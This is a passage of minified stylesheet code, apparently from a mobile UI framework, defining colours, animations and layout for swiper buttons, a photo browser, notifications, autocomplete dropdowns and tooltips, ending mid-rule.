.swiper-button-prev.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .color-orange .swiper-pagination-bullet-active,.md .color-theme-orange .swiper-pagination-bullet-active{background:#ff9800}.md .color-orange .swiper-pagination-progressbar,.md .color-orange.swiper-pagination-progressbar,.md .color-theme-orange .swiper-pagination-progressbar,.md .color-theme-orange.swiper-pagination-progressbar{background:rgba(255,152,0,.25)}.md .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff9800}.md .color-theme-gray .swiper-button-prev,.md .color-theme-gray .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-gray,.md .swiper-container-rtl .swiper-button-next.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-gray .swiper-button-next,.md .color-theme-gray .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-gray,.md .swiper-container-rtl .swiper-button-prev.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .color-gray .swiper-pagination-bullet-active,.md .color-theme-gray .swiper-pagination-bullet-active{background:#9e9e9e}.md .color-gray .swiper-pagination-progressbar,.md .color-gray.swiper-pagination-progressbar,.md .color-theme-gray .swiper-pagination-progressbar,.md .color-theme-gray.swiper-pagination-progressbar{background:rgba(158,158,158,.25)}.md .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#9e9e9e}.md .color-theme-white .swiper-button-prev,.md .color-theme-white .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-white,.md .swiper-container-rtl .swiper-button-next.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-white .swiper-button-next,.md .color-theme-white .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-white,.md .swiper-container-rtl .swiper-button-prev.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-white .swiper-pagination-bullet-active,.md .color-white .swiper-pagination-bullet-active{background:#fff}.md .color-theme-white .swiper-pagination-progressbar,.md .color-theme-white.swiper-pagination-progressbar,.md .color-white .swiper-pagination-progressbar,.md .color-white.swiper-pagination-progressbar{background:rgba(255,255,255,.25)}.md .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fff}.md .color-theme-black .swiper-button-prev,.md .color-theme-black .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-black,.md .swiper-container-rtl .swiper-button-next.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-black .swiper-button-next,.md .color-theme-black .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-black,.md .swiper-container-rtl .swiper-button-prev.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .color-black .swiper-pagination-bullet-active,.md .color-theme-black .swiper-pagination-bullet-active{background:#000}.md .color-black .swiper-pagination-progressbar,.md .color-black.swiper-pagination-progressbar,.md .color-theme-black .swiper-pagination-progressbar,.md .color-theme-black.swiper-pagination-progressbar{background:rgba(0,0,0,.25)}.md .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#000}.photo-browser{position:absolute;left:0;top:0;width:100%;height:100%;z-index:400}.photo-browser-standalone.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-in .4s;animation:photo-browser-in .4s}.photo-browser-standalone.modal-out{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-out .4s;animation:photo-browser-out .4s}.photo-browser-standalone.modal-out.swipe-close-to-bottom,.photo-browser-standalone.modal-out.swipe-close-to-top{-webkit-animation:none;animation:none}.photo-browser-popup.modal-out.swipe-close-to-bottom,.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transition-duration:.3s;transition-duration:.3s}.photo-browser-popup.modal-out.swipe-close-to-bottom{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transform:translate3d(0,-100vh,0);transform:translate3d(0,-100vh,0)}.page.photo-browser-page{background:0 0}.photo-browser-popup{background:0 0}.photo-browser-exposed .navbar,.photo-browser-exposed .toolbar{opacity:0;visibility:hidden;pointer-events:none}.photo-browser-exposed .photo-browser-swiper-container{background:#000}.photo-browser-of{margin:0 5px}.photo-browser-captions{pointer-events:none;position:absolute;left:0;width:100%;bottom:0;z-index:10;opacity:1;-webkit-transition:.4s;transition:.4s}.photo-browser-captions.photo-browser-captions-exposed{opacity:0}.photo-browser-caption{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s;position:absolute;bottom:0;left:0;opacity:0;padding:4px 5px;width:100%;text-align:center;color:#fff;background:rgba(0,0,0,.8)}.photo-browser-caption:empty{display:none}.photo-browser-caption.photo-browser-caption-active{opacity:1}.photo-browser-captions-light .photo-browser-caption{background:rgba(255,255,255,.8);color:#000}.photo-browser-captions-dark .photo-browser-caption{color:#fff}.photo-browser-exposed .photo-browser-caption{color:#fff;background:rgba(0,0,0,.8)}.photo-browser-swiper-container{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;background:#fff;-webkit-transition:.4s;transition:.4s;-webkit-transition-property:background-color;transition-property:background-color}.photo-browser-next.swiper-button-disabled,.photo-browser-prev.swiper-button-disabled{opacity:.3}.photo-browser-slide{width:100%;height:100%;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box}.photo-browser-slide.photo-browser-transitioning{-webkit-transition:.4s;transition:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.photo-browser-slide span.swiper-zoom-container{display:none}.photo-browser-slide img{width:auto;height:auto;max-width:100%;max-height:100%;display:none}.photo-browser-slide.swiper-slide-active span.swiper-zoom-container,.photo-browser-slide.swiper-slide-next span.swiper-zoom-container,.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.photo-browser-slide.swiper-slide-active img,.photo-browser-slide.swiper-slide-next img,.photo-browser-slide.swiper-slide-prev img{display:inline}.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader{display:block}.photo-browser-slide iframe{width:100%;height:100%}.photo-browser-slide .preloader{display:none;position:absolute;width:42px;height:42px;margin-left:-21px;margin-top:-21px;left:50%;top:50%}.photo-browser-dark .photo-browser-swiper-container,.photo-browser-page-dark .photo-browser-swiper-container{background:#000}@-webkit-keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@-webkit-keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}@keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}.ios .toolbar~.photo-browser-captions{bottom:44px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .toolbar~.photo-browser-captions.photo-browser-captions-exposed{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .photo-browser-exposed .toolbar~.photo-browser-captions{-webkit-transform:translate3d(0,44px,0);transform:translate3d(0,44px,0)}.ios .photo-browser-page .toolbar{-webkit-transform:none;transform:none}.ios .view.with-photo-browser-page-exposed .navbar{opacity:0}.ios .photo-browser-page .navbar,.ios .photo-browser-page .toolbar,.ios .view.with-photo-browser-page .navbar,.ios .view.with-photo-browser-page .toolbar{background:rgba(247,247,248,.95);-webkit-transition:.4s;transition:.4s}.ios .photo-browser-dark .navbar,.ios .photo-browser-dark .toolbar,.ios .photo-browser-page-dark .navbar,.ios .photo-browser-page-dark .toolbar,.ios .view.with-photo-browser-page-dark .navbar,.ios .view.with-photo-browser-page-dark .toolbar{background:rgba(30,30,30,.8);color:#fff}.ios .photo-browser-dark .navbar:before,.ios .photo-browser-dark .toolbar:before,.ios .photo-browser-page-dark .navbar:before,.ios .photo-browser-page-dark .toolbar:before,.ios .view.with-photo-browser-page-dark .navbar:before,.ios .view.with-photo-browser-page-dark .toolbar:before{display:none!important}.ios .photo-browser-dark .navbar:after,.ios .photo-browser-dark .toolbar:after,.ios .photo-browser-page-dark .navbar:after,.ios .photo-browser-page-dark .toolbar:after,.ios .view.with-photo-browser-page-dark .navbar:after,.ios .view.with-photo-browser-page-dark .toolbar:after{display:none!important}.ios .photo-browser-dark .navbar a,.ios .photo-browser-dark .toolbar a,.ios .photo-browser-page-dark .navbar a,.ios .photo-browser-page-dark .toolbar a,.ios .view.with-photo-browser-page-dark .navbar a,.ios .view.with-photo-browser-page-dark .toolbar a{color:#fff}.ios.device-iphone-x .photo-browser-captions{bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .toolbar~.photo-browser-captions{bottom:calc(44px + constant(safe-area-inset-bottom));bottom:calc(44px + env(safe-area-inset-bottom))}.md .toolbar~.photo-browser-captions{bottom:48px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.md .toolbar~.photo-browser-captions.photo-browser-captions-exposed{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.md .photo-browser-exposed .toolbar~.photo-browser-captions{-webkit-transform:translate3d(0,48px,0);transform:translate3d(0,48px,0)}.md .photo-browser-page .toolbar{-webkit-transform:none;transform:none}.md .photo-browser-page .navbar,.md .photo-browser-page .toolbar{background:rgba(33,150,243,.95);-webkit-transition:.4s;transition:.4s}.md .photo-browser-dark .navbar,.md .photo-browser-dark .toolbar,.md .photo-browser-page-dark .navbar,.md .photo-browser-page-dark .toolbar{background:rgba(30,30,30,.8)!important;color:#fff}.md .photo-browser-dark .navbar a,.md .photo-browser-dark .toolbar a,.md .photo-browser-page-dark .navbar a,.md .photo-browser-page-dark .toolbar a{color:#fff}.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(244,67,54,.95)}.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(76,175,80,.95)}.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(33,150,243,.95)}.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(233,30,99,.95)}.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,235,59,.95)}.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,152,0,.95)}.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(158,158,158,.95)}.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,255,255,.95)}.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(0,0,0,.95)}.md.device-iphone-x .photo-browser-captions{bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.md.device-iphone-x .toolbar~.photo-browser-captions{bottom:calc(48px + constant(safe-area-inset-bottom));bottom:calc(48px + env(safe-area-inset-bottom))}.notification{position:absolute;left:0;top:0;width:100%;z-index:20000;font-size:14px;margin:0;border:none;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;direction:ltr}.notification-icon{font-size:0}.notification-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.notification-close-button{margin-left:auto;cursor:pointer}html.with-statusbar.device-ios .notification,html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification{margin-top:20px}html.with-statusbar.device-android .notification,html.with-statusbar.md:not(.device-ios):not(.device-android) .notification{margin-top:24px}html.with-statusbar.device-iphone-x .notification{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}.ios .notification{left:8px;top:8px;width:calc(100% - 16px);background:rgba(250,250,250,.95);border-radius:12px;-webkit-box-shadow:0 5px 25px -10px rgba(0,0,0,.7);box-shadow:0 5px 25px -10px rgba(0,0,0,.7);padding:10px;color:#000;max-width:568px;-webkit-transition-duration:450ms;transition-duration:450ms;-webkit-transform:translate3d(0,-200%,0);transform:translate3d(0,-200%,0)}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.ios .notification{background:rgba(255,255,255,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}@media (min-width:584px){.ios .notification{left:50%;width:568px;margin-left:-284px}}.ios .notification.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.ios .notification.modal-out{-webkit-transform:translate3d(0,-200%,0);transform:translate3d(0,-200%,0)}.ios .notification-icon{width:20px;height:20px;line-height:20px;margin-right:8px}.ios .notification-icon i{width:20px;height:20px;font-size:20px}.ios .notification-title{font-size:13px;text-transform:uppercase;letter-spacing:.02em}.ios .notification-subtitle{font-size:15px;font-weight:600;line-height:1.35}.ios .notification-text{font-size:15px;line-height:1.2}.ios .notification-header+.notification-content{margin-top:10px}.ios .notification-title-right-text{color:#444a51;font-size:13px;margin-right:6px;margin-left:auto}.ios .notification-title-right-text+.notification-close-button{margin-left:10px}.ios .notification-close-button{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%2044%2044'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cg%20stroke%3D'none'%20stroke-width%3D'1'%20fill%3D'none'%20fill-rule%3D'evenodd'%3E%3Cpath%20d%3D'M22.5%2C20.3786797%20L14.7218254%2C12.6005051%20L12.6005051%2C14.7218254%20L20.3786797%2C22.5%20L12.6005051%2C30.2781746%20L14.7218254%2C32.3994949%20L22.5%2C24.6213203%20L30.2781746%2C32.3994949%20L32.3994949%2C30.2781746%20L24.6213203%2C22.5%20L32.3994949%2C14.7218254%20L30.2781746%2C12.6005051%20L22.5%2C20.3786797%20Z%20M22%2C44%20C34.1502645%2C44%2044%2C34.1502645%2044%2C22%20C44%2C9.8497355%2034.1502645%2C0%2022%2C0%20C9.8497355%2C0%200%2C9.8497355%200%2C22%20C0%2C34.1502645%209.8497355%2C44%2022%2C44%20Z'%20fill%3D'%23000000'%3E%3C%2Fpath%3E%3C%2Fg%3E%3C%2Fsvg%3E");width:20px;height:20px;background-position:center top;background-repeat:no-repeat;background-size:100% auto;position:relative;opacity:.3;-webkit-transition-duration:.3s;transition-duration:.3s}.ios .notification-close-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;opacity:.1}.ios .notification-close-button:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.md .notification{left:0;top:0;width:100%;background:#fff;border-radius:0;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.22),0 1px 2px rgba(0,0,0,.24);box-shadow:0 2px 4px rgba(0,0,0,.22),0 1px 2px rgba(0,0,0,.24);padding:16px;color:#000;max-width:568px}@media (min-width:568px){.md .notification{left:50%;margin-left:-284px}}.md .notification.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:notification-md-in .4s ease-out;animation:notification-md-in .4s ease-out}.md .notification.modal-in.notification-transitioning{-webkit-transition-duration:.2s;transition-duration:.2s}.md .notification.modal-out{-webkit-animation:none;animation:none;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}.md .notification-icon{width:16px;height:16px;margin-right:8px;line-height:16px}.md .notification-icon i{width:16px;height:16px;font-size:16px}.md .notification-title{font-size:12px;line-height:1;color:#2196f3}.md .notification-subtitle{font-size:14px;line-height:1.35;color:#212121}.md .notification-subtitle+.notification-text{margin-top:2px}.md .notification-text{font-size:14px;line-height:1.35;color:#757575}.md .notification-header+.notification-content{margin-top:6px}.md .notification-title-right-text{font-size:12px;color:#757575;margin-left:4px}.md .notification-title-right-text:before{content:'';width:3px;height:3px;border-radius:50%;display:inline-block;vertical-align:middle;margin-right:4px;background:#757575}.md .notification-close-button{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");width:16px;height:16px;background-position:center top;background-repeat:no-repeat;background-size:100% auto;position:relative;-webkit-transition-duration:.3s;transition-duration:.3s}.md .notification-close-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .notification-close-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .notification-close-button:before{width:48px;height:48px;left:50%;top:50%;margin-left:-24px;margin-top:-24px}.md .notification-close-button:after{content:'';position:absolute;left:50%;top:50%;width:48px;height:48px;margin-left:-22px;margin-top:-22px}@-webkit-keyframes notification-md-in{0%{-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}50%{-webkit-transform:translate3d(0,10%,0);transform:translate3d(0,10%,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes notification-md-in{0%{-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}50%{-webkit-transform:translate3d(0,10%,0);transform:translate3d(0,10%,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.autocomplete-page .autocomplete-found{display:block}.autocomplete-page .autocomplete-not-found{display:none}.autocomplete-page .autocomplete-values{display:block}.autocomplete-page .list ul:empty{display:none}.autocomplete-preloader:not(.autocomplete-preloader-visible){visibility:hidden}.autocomplete-preloader:not(.autocomplete-preloader-visible),.autocomplete-preloader:not(.autocomplete-preloader-visible) *{-webkit-animation:none;animation:none}.autocomplete-dropdown{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;z-index:500;width:100%;left:0}.autocomplete-dropdown .autocomplete-dropdown-inner{position:relative;overflow:auto;-webkit-overflow-scrolling:touch;height:100%;z-index:1}.autocomplete-dropdown .autocomplete-preloader{display:none;position:absolute;bottom:100%;width:20px;height:20px}.autocomplete-dropdown .autocomplete-preloader-visible{display:block}.autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#a9a9a9}.autocomplete-dropdown .list{margin:0}.autocomplete-dropdown .list ul{background:0 0!important}.autocomplete-dropdown .list ul:before{display:none!important}.autocomplete-dropdown .list ul:after{display:none!important}.list .item-content-dropdown-expanded .item-title.item-label{width:0;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;overflow:hidden}.list .item-content-dropdown-expanded .item-title.item-label+.item-input-wrap{margin-left:0}.list .item-content-dropdown-expanded .item-input-wrap{width:100%}.ios .autocomplete-dropdown{-webkit-box-shadow:0 3px 3px rgba(0,0,0,.2);box-shadow:0 3px 3px rgba(0,0,0,.2)}.ios .autocomplete-dropdown .autocomplete-preloader{right:15px;margin-bottom:12px}.ios .autocomplete-dropdown .list b{font-weight:600}.ios .searchbar-input-wrap .autocomplete-dropdown{margin-top:-32px;top:100%;background:#e8e8ea;z-index:20;border-radius:8px}.ios .searchbar-input-wrap .autocomplete-dropdown .item-content{padding-left:28px}.ios .searchbar-input-wrap .autocomplete-dropdown li:last-child{border-radius:0 0 8px 8px;position:relative;overflow:hidden}.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-inner{padding-top:32px}.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#939398}.ios .theme-dark .autocomplete-dropdown{background-color:#1c1c1d}.ios .theme-dark .searchbar-input-wrap .autocomplete-dropdown{background-color:#171717}.md .autocomplete-page .navbar .autocomplete-preloader{margin-right:16px}.md .autocomplete-dropdown{-webkit-box-shadow:0 2px 2px rgba(0,0,0,.25);box-shadow:0 2px 2px rgba(0,0,0,.25)}.md .autocomplete-dropdown .autocomplete-preloader{right:16px;margin-bottom:8px}.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-gap,.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-half-circle{border-width:3px}.md .autocomplete-dropdown .list{color:rgba(0,0,0,.54)}.md .autocomplete-dropdown .list b{font-weight:400;color:#212121}.md .searchbar-input-wrap .autocomplete-dropdown .item-content{padding-left:73px}.md .searchbar-input-wrap .autocomplete-dropdown li:last-child{border-radius:0 0 8px 8px;position:relative;overflow:hidden}.md .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#939398}.tooltip{position:absolute;z-index:20000;background:rgba(0,0,0,.87);border-radius:4px;padding:8px 16px;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:1.2;opacity:0;-webkit-transform:scale(.9);transform:scale(.9);-webkit-transition-duration:150ms;transition-duration:150ms;-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:opacity,transform;transition-property:opacity,transform,-webkit-transform;z-index:99000;font-weight:500}.tooltip.tooltip-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.tooltip.tooltip-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.device-desktop .tooltip{font-size:12px;padding:6px 8px}.gauge{position:relative;text-align:center;margin-left:auto;margin-right:auto;display:inline-block}.gauge svg,.gauge-svg{max-width:100%;height:auto}.gauge svg circle,.gauge svg path,.gauge-svg circle,.gauge-svg 